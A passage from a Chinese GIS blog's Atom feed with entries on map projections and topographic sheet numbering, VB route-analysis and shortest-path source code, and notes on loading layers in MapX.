<P>（1．3）圆锥投影：以圆锥面作为投影面，使圆锥面与球面相切或相割，将球面上的经纬线投影到圆锥面上，然后将圆锥面展为平面而成。这里，我们可将方位投影看作圆锥投影的一种特殊情况，假设当圆锥顶角扩大到180度时，这圆锥面就成为一个平面，再将地球椭球体上的经纬线投影到此平面上。圆柱投影，从几何定义上讲，也是圆锥投影的一个特殊情况，设想圆锥顶点延伸到无穷远时，即成为一个圆柱。</P>
<P>2）非几何投影</P>
<P>不借助几何面，根据某些条件用数学解析法确定球面与平面之间点与点的函数关系。在这类投影中，一般按经纬线形状又分为下述几类：</P>
<P>（2．1）伪方位投影：纬线为同心圆，中央经线为直线，其余的经线均为对称于中央经线的曲线，且相交于纬线的共同圆心。</P>
<P>（2．2）伪圆柱投影：纬线为平行直线，中央经线为直线，其余的经线均为对称于中央经线的曲线。</P>
<P>（2．3）伪圆锥投影：纬线为同心圆弧，中央经线为直线，其余经线均为对称于中央经线的曲线。</P>
<P>（2．4）多圆锥投影：纬线为同周圆弧，其圆心均为于中央经线上，中央经线为直线，其余的经线均为对称于中央经线的曲线。</P>
<P>3．3．3按照投影面积与地球相割或相切分类<BR>1）割投影</P>
<P>以平面、圆柱面或圆锥面作为投影面，使投影面与球面相割，将球面上的经纬线投影到平面上、圆柱面上或圆锥面上，然后将该投影面展为平面而成。</P>
<P>2）切投影</P>
<P>以平面、圆柱面或圆锥面作为投影面，使投影面与球面相切，将球面上的经纬线投影到平面上、圆柱面上或圆锥面上，然后将该投影面展为平面而成。</P>
<P>3．4地图投影的选择<BR>地图投影选择得是否恰当，直接影响地图的精度和使用价值。这里所讲的地图投影选择，主要指中、小比例尺地图，不包括国家基本比例尺地形图。因为国家基本比例尺地形图的投影、分幅等，是由国家测绘主管部门研究制订*，不容许任意改变的，另外编制小区域大比例尺地图，无论采用什么投影，变形都是很小的。</P>
<P>选择制图投影时，主要要考虑以下因素：制图区域的范围、形状和地理位置，地图的用途、出版方式及其他特殊要求等，其中制图区域的范围、形状和地理位置是主要因素。</P>
<P>对于世界地图，常用的主要是正圆柱、伪圆柱和多圆锥投影。在世界地图中常用墨卡托投影绘制世界航线图、世界交通图与世界时区图；</P>
<P>我国出版的世界地图多采用等差分纬线多圆锥投影，选用这个投影，对于表现中国形状以及与四邻的对比关系较好，但投影的边缘地区变形较大。</P>
<P>对于半球地图，东、西半球图常选用横轴方位投影；南、北半球图常选用正轴方位投影；水、陆半球图一般选用斜轴方位投影。</P>
<P>对于其他的中、小范围的投影选择，须考虑到它的轮廓形状和地理位置，最好是使等变形线与制图区域的轮廓形状基本一致，以便减少图上变形。因此，圆形地区一般适于采用方位投影，在两极附近则采用正轴方位投影，以赤道为中心的地区采用横轴方位投影，在中纬度地区采用斜轴方位投影。在东西延伸的中纬度地区，一般多采用正轴圆锥投影，如中国与美国。在赤道两侧东西延伸的地区，则宜采用正轴圆柱投影，如印度尼西亚。在南北方向延伸的地区，一般采用横轴圆柱投影和多圆锥投影，如智利与阿根廷。</P>
<P>3．5常用的一些地图投影<BR>3．5．1世界地图的投影<BR>世界地图的投影主要考虑要保证全球整体变形不大，根据不同的要求，需要具有等角或等积性质，主要包括：等差分纬线多圆锥投影、正切差分纬线多圆锥投影（1976年方案）、任意伪圆柱投影、正轴等角割圆柱投影。</P>
<P>3．5．2半球地图的投影<BR>东、西半球有横轴等面积方位投影、横轴等角方位投影；南、北半球有正轴等面积方位投影、正轴等角方位投影、正轴等距离方位投影。</P>
<P>3．5．3各大洲地图投影<BR>1）亚洲地图的投影：斜轴等面积方位投影、彭纳投影。</P>
<P>2）欧洲地图的投影：斜轴等面积方位投影、正轴等角圆锥投影。</P>
<P>3）北美洲地图的投影：斜轴等面积方位投影、彭纳投影。</P>
<P>4）南美洲地图的投影：斜轴等面积方位投影、桑逊投影。</P>
<P>5）澳洲地图的投影：斜轴等面积方位投影、正轴等角圆锥投影。</P>
<P>6）拉丁美洲地图的投影：斜轴等面积方位投影。</P>
<P>3．5．4中国各种地图投影<BR>1）中国全国地图投影：斜轴等面积方位投影、斜轴等角方位投影、彭纳投影、伪方位投影、正轴等面积割圆锥投影、正轴等角割圆锥投影。</P>
<P>2）中国分省（区）地图的投影：正轴等角割圆锥投影、正轴等面积割圆锥投影、正轴等角圆柱投影、高斯-克吕格投影（宽带）。</P>
<P>3）中国大比例尺地图的投影：多面体投影（北洋军阀时期）、等角割圆锥投影（兰勃特投影）（解放前）、高斯-克吕格投影（解放以后）。</P>
<P>4．高斯——克吕格投影<BR>由于这个投影是由德国数学家、物理学家、天文学家高斯于19世纪20年代拟定，后经德国大地测量学家克吕格于1912年对投影公式加以补充，故称为高斯——克吕格投影。</P>
<P>高斯——克吕格投影在英美国家称为横轴墨卡托投影。美国编制世界各地军用地图和地球资源卫星象片所采用的全球横轴墨卡托投影（UTM）是横轴墨卡托投影的一种变型。高斯克吕格投影的中央经线长度比等于1，UTM投影规定中央经线长度比为0.9996。在6度带内最大长度变形不超过0.04%。</P>
<P>高斯克吕格投影的中央经线和赤道为互相垂直的直线，其他经线均为凹向并对称于中央经线的曲线，其他纬线均为以赤道为对称轴的向两极弯曲的曲线，经纬线成直角相交。在这个投影上，角度没有变形。中央经线长度比等于1，没有长度变形，其余经线长度比均大于1，长度变形为正，距中央经线愈远变形愈大，最大变形在边缘经线与赤道的交点上；面积变形也是距中央经线愈远，变形愈大。为了保证地图的精度，采用分带投影方法，即将投影范围的东西界加以限制，使其变形不超过一定的限度，这样把许多带结合起来，可成为整个区域的投影（图4-12）。高斯——克吕格投影的变形特征是：在同一条经线上，长度变形随纬度的降低而增大，在赤道处为最大；在同一条纬线上，长度变形随经差的增加而增大，且增大速度较快。在6度带范围内，长度最大变形不超过0.14%。</P>
<P>我国规定1：1万、1：2.5万、1：5万、1：10万、1：25万、1：50万比例尺地形图，均采用高斯克吕格投影。1：2.5至1：50万比例尺地形图采用经差6度分带，1：1万比例尺地形图采用经差3度分带。</P>
<P>6度带是从0度子午线起，自西向东每隔经差6为一投影带，全球分为60带，各带的带号用自然序数1，2，3，…60表示。即以东经0-6为第1带，其中央经线为3E，东经6-12为第2带，其中央经线为9E，其余类推。</P>
<P>3度带，是从东经1度30分的经线开始，每隔3度为一带，全球划分为120个投影带。图4-13表示出6度带与3度带的中央经线与带号的关系。</P>
<P>在高斯克吕格投影上，规定以中央经线为X轴，赤道为Y轴，两轴的交点为坐标原点。</P>
<P>X坐标值在赤道以北为正，以南为负；Y坐标值在中央经线以东为正，以西为负。我国在北半球，X坐标皆为正值。Y坐标在中央经线以西为负值，运用起来很不方便。为了避免Y坐标出现负值，将各带的坐标纵轴西移500公里，即将所有Y值都加500公里。</P>
<P>由于采用了分带方法，各带的投影完全相同，某一坐标值（x，y），在每一投影带中均有一个，在全球则有60个同样的坐标值，不能确切表示该点的位置。因此，在Y值前，需冠以带号，这样的坐标称为通用坐标。</P>
<P>高斯克吕格投影各带是按相同经差划分的，只要计算出一带各点的坐标，其余各带都是适用的。这个投影的坐标值由国家测绘部门根据地形图比例尺系列，事先计算制成坐标表，供作业单位使用。</P>
<P>5．地形图的分幅和编号<BR>国家基本比例尺地形图有1：1万、1：2.5万、1：5万、1：10万、1：20万、1：50万和1：100万七种。普通地图通常按比例尺分为大、中、小三种，一般以1：10万和更大比例尺的地图称为大比例尺地图；1：10万至1：100万的称为中比例尺地图；小于1：100万的称为小比例尺地图。对于一个国家或世界范围来讲，测制成套的各种比例尺地形图时，分幅编号尤其必要。通常这是由国家主管部门制定统一的图幅分幅和编号系统。</P>
<P>5．1地形图的分幅<BR>目前，我国采用的地形图分幅方案，是以1：100万地形图为基准，按照相同的经差和纬差定义更大比例尺地形图的分幅。百万分之一地图在纬度0o—60o之间的图幅，图幅大小按经差6o，纬差4o分幅；在60o—76o之间的图幅，其经差为12o，纬差为4o；在76o—80o之间图幅的经差为24o，纬差为4o，所以各幅百万分之一地图都是经差6o，纬差4o分幅的。</P>
<P>每幅百万分之一内各级较大比例尺地形图的划分，按规定的相应经纬差进行，其中，1：50万、1：20万、1：10万三种比例尺地形图，以百万分之一地图为基础直接划分。一幅百万分之一地形图划分四幅1：50万地形图，每幅为经差3o，纬差2o；一幅百万分之一地图划分为36幅1：20万地形图，每幅为经差1o，纬差40’；一幅百万分之一地图划分144幅1:10万地形图，每幅为经差30’，纬差20’。</P>
<P>每幅大于1：10万比例尺的地形图，则以1：10万图为基础进行逐级划分，一幅1：10万地形图划分四幅1：5万地形图；一幅1：5万地形图划分为四幅1：2.5万地形图。在1：10万图的基础上划分为64幅1：1万地形图；一幅1：1万地形图又划分为4幅1：5000地形图，（见表4-1）。</P>
<P>表4-1：基本比例尺地形图的图幅大小及其图幅间的数量关系。</P>
<P>比例尺（万）<BR>&nbsp;图幅大小<BR>&nbsp;图幅间的数量关系<BR>&nbsp;<BR>经度<BR>&nbsp;纬度<BR>&nbsp;<BR>1：100<BR>&nbsp;6度<BR>&nbsp;4度<BR>&nbsp;1<BR>&nbsp; <BR>&nbsp; <BR>&nbsp; <BR>&nbsp; <BR>&nbsp; <BR>&nbsp;<BR>1：50<BR>&nbsp;3度<BR>&nbsp;2度<BR>&nbsp;4<BR>&nbsp;1<BR>&nbsp; <BR>&nbsp; <BR>&nbsp; <BR>&nbsp; <BR>&nbsp;<BR>1：20<BR>&nbsp;1度<BR>&nbsp;40分<BR>&nbsp;36<BR>&nbsp;9<BR>&nbsp;1<BR>&nbsp; <BR>&nbsp; <BR>&nbsp; <BR>&nbsp;<BR>1：10<BR>&nbsp;30分<BR>&nbsp;20分<BR>&nbsp;144<BR>&nbsp;36<BR>&nbsp;4<BR>&nbsp;1<BR>&nbsp; <BR>&nbsp; <BR>&nbsp;<BR>1：5<BR>&nbsp;15分<BR>&nbsp;10分<BR>&nbsp;576<BR>&nbsp;144<BR>&nbsp;16<BR>&nbsp;4<BR>&nbsp;1<BR>&nbsp; <BR>&nbsp;<BR>1：2.5<BR>&nbsp;7.5分<BR>&nbsp;5分<BR>&nbsp;2304<BR>&nbsp;576<BR>&nbsp;64<BR>&nbsp;16<BR>&nbsp;4<BR>&nbsp;1<BR>&nbsp;<BR>1:1<BR>&nbsp;3分45秒<BR>&nbsp;2.5分<BR>&nbsp;9216<BR>&nbsp;2304<BR>&nbsp;256<BR>&nbsp;64<BR>&nbsp;16<BR>&nbsp;4<BR>&nbsp;</P>
<P>5．2分幅编号<BR>地形图的编号是根据各种比例尺地形图的分幅，对每一幅地图给予一个固定的号码，这种号码不能重复出现，并要保持一定的系统性。</P>
<P>地形图编号的最基本的方法是采用行列法，即把每幅图所在一定范围内的行数和列数组成一个号码。</P>
<P>5．2．1&nbsp; 1：100万地图的编号<BR>该种地形图的编号为全球统一分幅编号。</P>
<P>列数：由赤道起向南北两极每隔纬差4o为一列，直到南北88o（南北纬88o至南北两极地区，采用极方位投影单独成图），将南北半球各划分为22列，分别用拉丁字母A、B、C、D……V表示。</P>
<P>行数：从经度180 o起向东每隔6 o为一行，绕地球一周共有60行，分别以数字1、2、3、4……60表示。</P>
<P>由于南北两半球的经度相同，规定在南半球的图号前加一个S，北半球的图号前不加任何符号。一般来讲，把列数的字母写在前，行数的数字写在后，中间用一条短线连接。例如北京所在的一幅百万分之一地图的编号为J-50（如图14所示）。</P>
<P>&nbsp;&nbsp;&nbsp; 由于地球的经线向两极收敛，随着纬度的增加，同是6o的经差但其纬线弧长已逐渐缩小，因此规定在纬度60 o-76 o间的图幅采用双幅合并（经差为12 o，纬差为4 o）；在纬度76o-88o间的图幅采用四幅合并（经差为24o，纬差为4o）。这些合并图幅的编号，列数不变，行数（无论包含两个或四个）并列写在其后。例如北纬80o-84o，西经48o-72o的一幅百万分之一的地图编号应为U-19、20、21、22（图4-14）。</P>
<P><BR>图14：100万地形图的分幅和编号（北半球）</P>
<P>5．2．2&nbsp; 1：50万、1：20万、1：10万地形图的编号<BR>一幅1：100万地图划分四幅1：50万地图，分别用甲、乙、丙、丁表示，其编号是在1：100万地形图的编号后加上它本身的序号，如J-50-乙。</P>
<P>一幅1：100万地图划36幅1：20万地图，分别用带括号的数字（1）—（36）表示，其编号是在1：100万地形图的编号后加上它本身的序号，如J-50-（28）。</P>
<P>一幅1：100万地图划分144幅1：10万地图，分别用数字1—144表示，其编号是在1：100万地形图的编号后加上它本身的序号，如J-50-32。</P>
<P>5．2．3&nbsp; 1：5万、1：2.5万、1：1万地形图的编号<BR>以1：10万地形图的编号为基础，将一幅1：10万地图划分四幅1：5万地图，分别用甲、乙、丙、丁表示，其编号是在1：10万地形图的编号后加上它本身的序号，如J-50-32-甲。再将一幅1：5万地图划分四幅1：2.5万地形图，分别用1、2、3、4表示，其编号是在1：5万地形图的编号后加上它本身的序号，如J-50-32-甲-1。</P>
<P>1：1万地形图的编号，是以一幅1：10万地形图划分为64幅1：1万地形图，分别以带括号的（1）—（64）表示，其编号是在1：10万图号后加上1：1万地图的序号，如J-50-32-（10）。</P>
<P>一幅1：1万地形图划分为4幅1：5000地形图，分别用小写拉丁字母a、b、c、d表示，其编号是在1：1万图号后加上它本身的序号，如J-50-32-（10）-a。</P>
<P>&nbsp;</P>
<P>--------------------------------------------------------------------------------</P>
<P>* 目前我国采用的就是后面提及的高斯——克吕格投影及分幅方案。<BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=128" /> 
	  <id>http://www.openx.cn/default.asp?id=128</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[深度优先实现的路径分析源码]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-07T15:48:35+08:00</updated>
	  <published>2005-11-07T15:48:35+08:00</published>
		  <summary type="html"><![CDATA[程序说明：<BR>&nbsp;&nbsp;&nbsp;&nbsp;路径分析和公交换乘分析模块，调用RouteAnalysis&nbsp;or&nbsp;RouteAnalysisEX函数进行路径分析。里面涉及到两个网络，一个是道路网，一个是公交线路网，首先根据参数搜索两点在道路网中的连通行，然后再用找到的连通的线路和公交线路网查找时候有可以连通的公交线路，这两个网络的数据存储结构基本相同，用点,弧结构来描述网络逻辑关系。<BR>&nbsp;&nbsp;&nbsp;&nbsp;我用了图论中最简单的深度优先算法实现，这个方法的缺点是，一旦节点数量增加时，查询速度会成几何级数下降。<BR>&nbsp;&nbsp;&nbsp;&nbsp;这个类生成的DLL可以在MapX和MapXtreme&nbsp;for&nbsp;windows中调用。<BR>&nbsp;&nbsp;&nbsp;&nbsp;两年前在MapXtreme中做一个公交换乘的演示程序，花了我一个礼拜的时间，当时倒是好好得复习了一下图论知识，后来也没有实际应用，所以也懒得去做性能优化什么的，估计要优化程序得重新换个算法写，^_^。<BR>&nbsp;&nbsp;&nbsp;&nbsp;遗憾的是现在只能找到这段代码了，本来还有一个测试程序和ACCESS数据库以及结构的文档描述换公司后都没有备份，现在都没有了。代码供参考，有好的方法欢迎大家一起讨论。 
<P></P>
<P>函数参数说明：<BR>Public&nbsp;Function&nbsp;RouteAnalysis(ByVal&nbsp;sConnStr&nbsp;As&nbsp;String,&nbsp;ByVal&nbsp;iSSID&nbsp;As&nbsp;Long,&nbsp;_<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ByVal&nbsp;iESID&nbsp;As&nbsp;Long,&nbsp;ByVal&nbsp;iSearchStyle&nbsp;As&nbsp;Integer,&nbsp;ByRef&nbsp;iShortestIndex&nbsp;As&nbsp;Integer,&nbsp;ByRef&nbsp;iUnionLineCount&nbsp;As&nbsp;Integer,&nbsp;_<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ByRef&nbsp;aLineCounts()&nbsp;As&nbsp;Long,&nbsp;ByRef&nbsp;aLines()&nbsp;As&nbsp;Long,&nbsp;_<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ByRef&nbsp;aStationCounts()&nbsp;As&nbsp;Long,&nbsp;ByRef&nbsp;aStations()&nbsp;As&nbsp;Long,&nbsp;_<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ByRef&nbsp;aSNameCounts()&nbsp;As&nbsp;Long,&nbsp;ByRef&nbsp;aSNames()&nbsp;As&nbsp;String,&nbsp;_<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ByRef&nbsp;aLengthCounts()&nbsp;As&nbsp;Long,&nbsp;ByRef&nbsp;aLengths()&nbsp;As&nbsp;Double,&nbsp;_<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ByRef&nbsp;aBusLineCounts()&nbsp;As&nbsp;Long,&nbsp;ByRef&nbsp;aBusLines()&nbsp;As&nbsp;String,&nbsp;_<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ByRef&nbsp;aCStationCounts()&nbsp;As&nbsp;Long,&nbsp;ByRef&nbsp;aCStations()&nbsp;As&nbsp;String)&nbsp;As&nbsp;Boolean</P>
<P>输入参数：<BR>sConnStr&nbsp;：连接数据库字符串，连接存放节点数据和弧线数据的access数据库<BR>iSSID&nbsp;&nbsp;&nbsp;：起始点ID<BR>iESID&nbsp;&nbsp;&nbsp;&nbsp;：终点ID<BR>iSearchStyle&nbsp;：查询类型</P>
<P>输出参数：我们主要用<BR>iShortestIndex&nbsp;：查到结果的搜索深度，用它来判断最优<BR>iUnionLineCount&nbsp;：查询结果所经路径的弧线数量<BR>aLines：查询结果所经路径的弧线集合<BR>aStationCounts：查询结果所经路径的节点数量<BR>aStations：查询结果所经路径的节点集合<BR>aSNameCounts：记录经历的车站的名称<BR>aSNames：经历的车站站点的名称<BR>aLengthCounts：记录查询结果中，每段弧的长度的数量<BR>aLengths：分别记录查询结果中每段弧的长度的集合<BR>aBusLineCounts：经历的公交线路的段数<BR>aBusLines：经历的公交线路弧线的集合<BR>aCStationCounts：经过的车站数量<BR>aCStations：经过的车站ID的集合</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;RouteAnalysisEX函数主要将上述函数得到的信息按照字符串的形式组织在一起，传递出去。</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;这些返回信息包含我们经过的线路的关键信息，在MapX中我们查询到这些信息，找到相应的线段和站点，然后在MapX临时图层上画出来。</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=127" /> 
	  <id>http://www.openx.cn/default.asp?id=127</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[最短路径算法源码(VB)]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-07T15:47:50+08:00</updated>
	  <published>2005-11-07T15:47:50+08:00</published>
		  <summary type="html"><![CDATA[本例以由拓扑关系的arc/info&nbsp;文件为数据源。其中a1,b1,c1是以fnode排序生成的数组，a1对应fnode,b1对应tnode,c1对应length,同样a2,b2,c2,是以tnode&nbsp;生成的数组。Indexa1是对应某一起点与其相连的终点的个数，indexb1时对应某一终点与其相连的起点的个数，即其拓扑关系。<BR>Public&nbsp;Function&nbsp;shortpath(startno&nbsp;As&nbsp;Integer,&nbsp;endno&nbsp;As&nbsp;Integer)&nbsp;As&nbsp;Single<BR>以开始点，结束点为参数。<BR>Dim&nbsp;result()&nbsp;As&nbsp;Single<BR>Dim&nbsp;result1&nbsp;As&nbsp;Integer<BR>定义结果点<BR>Dim&nbsp;s1&nbsp;As&nbsp;Single<BR>Dim&nbsp;min&nbsp;As&nbsp;Single<BR>Dim&nbsp;ii,&nbsp;i,&nbsp;j,&nbsp;aa&nbsp;As&nbsp;Integer<BR>Dim&nbsp;yc()&nbsp;As&nbsp;Boolean<BR>Dim&nbsp;ycd()&nbsp;As&nbsp;Boolean<BR>Dim&nbsp;rs1()&nbsp;As&nbsp;Single<BR>Dim&nbsp;no()&nbsp;As&nbsp;Integer<BR>Dim&nbsp;nopoint&nbsp;As&nbsp;Integer<BR>ReDim&nbsp;yc(1&nbsp;To&nbsp;maxno)&nbsp;As&nbsp;Boolean<BR>ReDim&nbsp;ycd(1&nbsp;To&nbsp;maxno)&nbsp;As&nbsp;Boolean<BR>ReDim&nbsp;rs1(1&nbsp;To&nbsp;maxno)&nbsp;As&nbsp;Single<BR>ReDim&nbsp;result(1&nbsp;To&nbsp;2,&nbsp;1&nbsp;To&nbsp;maxno)&nbsp;As&nbsp;Single<BR>定义结果，其中result(1,maxno)为结果点，result(2,maxno)为结果长度。<BR>For&nbsp;i&nbsp;=&nbsp;1&nbsp;To&nbsp;maxno//&nbsp;maxno为网中最大的节点数。<BR>yc(i)&nbsp;=&nbsp;False&nbsp;//标记已经查过的点。<BR>ycd(i)&nbsp;=&nbsp;False&nbsp;//标记已经作结果点用过的点<BR>rs1(i)&nbsp;=&nbsp;1E+38&nbsp;//假设从起点到任一点的距离都为无穷大<BR>Next&nbsp;i<BR>ll&nbsp;=&nbsp;startno&nbsp;//设置开始点。<BR>yc(ll)&nbsp;=&nbsp;True&nbsp;//标记开始点为真。即已经作结果点用过。<BR>j&nbsp;=&nbsp;0<BR>For&nbsp;aa&nbsp;=&nbsp;1&nbsp;To&nbsp;maxno<BR>先从与开始点相连的终点寻找&nbsp;<BR>For&nbsp;i&nbsp;=&nbsp;1&nbsp;To&nbsp;indexa1(2,&nbsp;ll)&nbsp;//以与ll点相连的起点的个数循环<BR>result1&nbsp;=&nbsp;b1(indexa1(1,&nbsp;ll)&nbsp;-&nbsp;i&nbsp;+&nbsp;1)找出与LL点相连的终点的点号<BR>s1&nbsp;=&nbsp;c1(indexa1(1,&nbsp;ll)&nbsp;-&nbsp;i&nbsp;+&nbsp;1)&nbsp;+&nbsp;result(2,&nbsp;ll)找出长度并求和<BR>If&nbsp;yc(result1)&nbsp;=&nbsp;True&nbsp;Then&nbsp;GoTo&nbsp;200如果以被经查过进行下一个<BR>If&nbsp;ycd(result1)&nbsp;=&nbsp;True&nbsp;Then//如果已经作为结果点判断哪一个长<BR>If&nbsp;rs1(result1)&nbsp;&gt;=&nbsp;s1&nbsp;Then//如果这一点到起点的长度比现在的路线长，替代<BR>rs1(result1)&nbsp;=&nbsp;s1<BR>result(1,&nbsp;result1)&nbsp;=&nbsp;ll//设置到这点的最短路径的前一点为LL点（精华部分）<BR>result(2,&nbsp;result1)&nbsp;=&nbsp;s1设置到这点的最短路径长度<BR>GoTo&nbsp;200<BR>Else<BR>GoTo&nbsp;200<BR>End&nbsp;If<BR>End&nbsp;If<BR>如果上面的条件都不符合则进行下面的语句<BR>ycd(result1)&nbsp;=&nbsp;True<BR>rs1(result1)&nbsp;=&nbsp;s1<BR>result(1,&nbsp;result1)&nbsp;=&nbsp;ll<BR>result(2,&nbsp;result1)&nbsp;=&nbsp;s1<BR>每找到一个点加一，为了下面的判断<BR>j&nbsp;=&nbsp;j&nbsp;+&nbsp;1<BR>ReDim&nbsp;Preserve&nbsp;no(1&nbsp;To&nbsp;j)&nbsp;As&nbsp;Integer<BR>从新&nbsp;定义数组并使其值为当前的点号<BR>no(j)&nbsp;=&nbsp;result1<BR>200&nbsp;Next&nbsp;I<BR>再从与开始点相连的终点寻找，与上面一样不再标注&nbsp;<BR>For&nbsp;i&nbsp;=&nbsp;1&nbsp;To&nbsp;indexb2(2,&nbsp;ll)<BR>result1&nbsp;=&nbsp;a2(indexb2(1,&nbsp;ll)&nbsp;-&nbsp;i&nbsp;+&nbsp;1)<BR>s1&nbsp;=&nbsp;c2(indexb2(1,&nbsp;ll)&nbsp;-&nbsp;i&nbsp;+&nbsp;1)&nbsp;+&nbsp;result(2,&nbsp;ll)<BR>If&nbsp;yc(result1)&nbsp;=&nbsp;True&nbsp;Then&nbsp;GoTo&nbsp;300<BR>If&nbsp;ycd(result1)&nbsp;=&nbsp;True&nbsp;Then<BR>If&nbsp;rs1(result1)&nbsp;&gt;=&nbsp;s1&nbsp;Then<BR>rs1(result1)&nbsp;=&nbsp;s1<BR>result(1,&nbsp;result1)&nbsp;=&nbsp;ll<BR>result(2,&nbsp;result1)&nbsp;=&nbsp;s1<BR>GoTo&nbsp;300<BR>Else<BR>GoTo&nbsp;300<BR>End&nbsp;If<BR>End&nbsp;If<BR>ycd(result1)&nbsp;=&nbsp;True<BR>rs1(result1)&nbsp;=&nbsp;s1<BR>result(1,&nbsp;result1)&nbsp;=&nbsp;ll<BR>result(2,&nbsp;result1)&nbsp;=&nbsp;s1<BR>j&nbsp;=&nbsp;j&nbsp;+&nbsp;1<BR>ReDim&nbsp;Preserve&nbsp;no(1&nbsp;To&nbsp;j)&nbsp;As&nbsp;Integer<BR>no(j)&nbsp;=&nbsp;result1<BR>300&nbsp;Next&nbsp;I 
<P></P>
<P>设置最小为无穷大，最短路径点为空<BR>min&nbsp;=&nbsp;1E+38<BR>minpoint&nbsp;=&nbsp;Null<BR>（优化部分）<BR>找出已经查过点中长度最短的点<BR>For&nbsp;i&nbsp;=&nbsp;aa&nbsp;To&nbsp;j<BR>If&nbsp;min&nbsp;&gt;&nbsp;rs1(no(i))&nbsp;Then<BR>ii&nbsp;=&nbsp;i<BR>min&nbsp;=&nbsp;rs1(no(i))<BR>minpoint&nbsp;=&nbsp;no(i)<BR>End&nbsp;If<BR>Next&nbsp;I<BR>如果没有结果，即起点与终点没有通路退出程序<BR>If&nbsp;min&nbsp;=&nbsp;1E+38&nbsp;Then&nbsp;Exit&nbsp;Function<BR>（重点优化）将两点互换，减少循环。<BR>no(ii)&nbsp;=&nbsp;no(aa)<BR>no(aa)&nbsp;=&nbsp;minpoint<BR>标记已经作为结果点判断过<BR>yc(minpoint)&nbsp;=&nbsp;True<BR>ll&nbsp;=&nbsp;minpoint<BR>判断结果点是否等于终点，如果等于则已经找到最短路径<BR>If&nbsp;minpoint&nbsp;=&nbsp;endno&nbsp;Then&nbsp;Exit&nbsp;For<BR>Next&nbsp;aa<BR>返回最短路径长度<BR>Stpath&nbsp;=&nbsp;result(2,&nbsp;endno)<BR>End&nbsp;Function</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=126" /> 
	  <id>http://www.openx.cn/default.asp?id=126</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[用MapX快速开发]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-07T15:46:09+08:00</updated>
	  <published>2005-11-07T15:46:09+08:00</published>
		  <summary type="html"><![CDATA[<SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px"> 
<P>一、加载地图数据 <BR>1、 TAB的数据分为两种数据：地图数据（Layers）、属性数据（Datasets）。关系：不可分割的一个数据集的两部分. <BR>2、 数据加载：GST文件由GeosetManager40.exe程序生成。在程序使用gsT文件：Map1.Geoset=Filepath+FileName <BR>3、 问题：GST文件加载后，只是默认将地图数据加载，属性数据另外需要使用单独的命令进行加载，否则对属性数据的操作全部非法。加载：Map1.Datasets.ADD 属性数据集名称<BR>&nbsp;<BR>4、 另一种加载方式：使用LayerInfo 对象，这种方式下加载地图数据源的地图集和属性集均可直接使用。示例： <BR>dim LayerInfo as MapXLib.LayerInfo <BR>dim Lyr as Mpxlib.layer </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>LayerInfo.Type = miLayerInfoTypeTab&nbsp;&nbsp;&nbsp; ‘加载表的类型 <BR>LayerInfo.AddParameter "FileSpec", FilePath + LayerName + ".TAB"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ‘加载表<BR>的全路径名 <BR>LayerInfo.AddParameter "NAME", LayerName&nbsp;&nbsp; ‘地图集的别名 <BR>LayerInfo.AddParameter "AutoCreateDataset", 1&nbsp;&nbsp;&nbsp; ‘是否加载属性数据集 <BR>LayerInfo.AddParameter "datasetname", LayerName&nbsp;&nbsp; ‘属性数据集别名 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>MainMap.Layers.Add LayerInfo&nbsp;&nbsp;&nbsp; ‘加载到指定的MapX对象中，立即可直接使用 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>5、 第三种加载数据方式：GST文件+ LayerInfo方式。示例： <BR>&nbsp;&nbsp;&nbsp;&nbsp; 使用两个MapX对象：MainMap、TempMap <BR>TempMap.Geoset=GST文件 <BR>MainMap.geoset=”” <BR>TempMap.Refresh </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>For I=1 to TempMap.Layers.Count <BR>FileName=TempMap.Layers.Item(I).Filespec <BR>‘直接引用LayerInfo方式加载地图数据到MainMap <BR>Next </P>
